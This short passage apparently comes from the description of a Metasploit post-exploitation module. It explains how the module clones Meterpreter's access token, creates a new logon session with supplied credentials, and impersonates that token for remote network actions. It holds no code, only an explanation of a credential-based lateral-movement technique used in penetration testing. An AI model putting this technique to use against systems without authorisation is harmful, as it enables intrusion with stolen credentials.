          In its default configuration, this module creates a new network security context with the specified
          logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and
          a new logon session is created and linked to that token. The token is then impersonated to acquire
          the new network security context. This module has no effect on local actions - only on remote ones
          (where the specified credential material will be used). This module does not validate the credentials
          specified.
